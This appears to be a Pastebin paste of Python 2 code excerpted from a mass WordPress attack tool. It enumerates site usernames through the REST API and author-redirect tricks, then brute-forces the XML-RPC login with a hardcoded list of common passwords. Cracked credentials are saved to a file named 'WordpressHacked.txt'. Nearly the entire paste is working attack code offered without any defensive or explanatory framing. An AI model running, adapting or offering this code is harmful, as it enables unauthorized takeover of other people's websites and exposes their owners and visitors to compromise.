Advertisement
RaiC0d3r

Untitled

Sep 22nd, 2019
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.35 KB | None | 0 0
  1. def wordpress(site):
  2. try:
  3. usernameWp = UserName_Enumeration(site)
  4. if usernameWp == None:
  5. username = 'admin'
  6. else:
  7. username = usernameWp
  8. #print '[{}Wordpress]: {} {} ==> {}{} {}{} BruteForce {} User Found '.format(sb, sd, url,username, fc,fc, sb,fg)
  9.  
  10. password = [username, username+"123", username+"12345", username, "pass", username+"@123", "demo", "admin123", "123456", "123456789", "123", "1234", "12345", "1234567", "12345678",
  11. "123456789", "admin1234", "admin123456", "pass123", "root", "321321", "123123", "112233", "102030",
  12. "password", "pass", "qwerty", "abc123", "654321", "pass1234", "abc1234", "demo1", "demo2",
  13. "demodemo", "url", "shop", "password123", "admin1", "admin12", "adminqwe", "test", "test123", "1",
  14. "12", "123123"]
  15.  
  16. for passwd in password:
  17. # sess = requests.session()
  18. Headers = {
  19. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
  20. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  21. 'Accept-Language': 'en-US,en;q=0.5',
  22. 'Accept-Encoding': 'gzip, deflate',
  23. 'Content-Type': 'application/x-www-form-urlencoded'
  24. }
  25. GoD = '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>'+username+'</value></param><param><value>'+passwd+'</value></param></params></methodCall>'
  26. GoT = requests.post('http://'+site+"/xmlrpc.php" , data=GoD ,headers=Headers ,timeout=20)
  27. if 'isAdmin' in GoT.text:
  28. print '[{}Wordpress]: {} {} ==> {}@{} {}{} BruteForce {}{} Found '.format(sb, sd, site,username,passwd, fc,fc, sb,fg)
  29. open('Results/WordpressHacked.txt', 'a').write(site+'/wp-login.php' + '==>' + username + '@' + passwd + '\n')
  30. q.task_done()
  31. os._exit(1)
  32. else:
  33. print '[{}Wordpress]: {} {} ==> {}@{} {}{} BruteForce {}{} Failed '.format(sb, sd, site,username,passwd, fc,fc, sb,fr)
  34. except:
  35. pass
  36. def UserName_Enumeration(url):
  37. Headers = {
  38. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0'
  39. }
  40. _cun = 1
  41. Flag = True
  42. __Check2 = requests.get('http://'+url + '/?author=1', timeout=10, headers=Headers)
  43. try:
  44. while Flag:
  45. GG = requests.get('http://'+url + '/wp-json/wp/v2/users/' + str(_cun),
  46. timeout=10, headers=Headers)
  47. __InFo = json.loads(GG.text)
  48. if 'id' not in __InFo:
  49. Flag = False
  50. else:
  51. Usernamez = __InFo['slug']
  52. return Usernamez
  53. break
  54. except:
  55. try:
  56. if '/author/' not in __Check2.text:
  57. return None
  58. else:
  59. find = re.findall('/author/(.*)/"', __Check2.text)
  60. username = find[0]
  61. if '/feed' in username:
  62. find = re.findall('/author/(.*)/feed/"', __Check2.text)
  63. username2 = find[0]
  64. return username2
  65. else:
  66. return username
  67. except requests.exceptions.ReadTimeout:
  68. return None
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement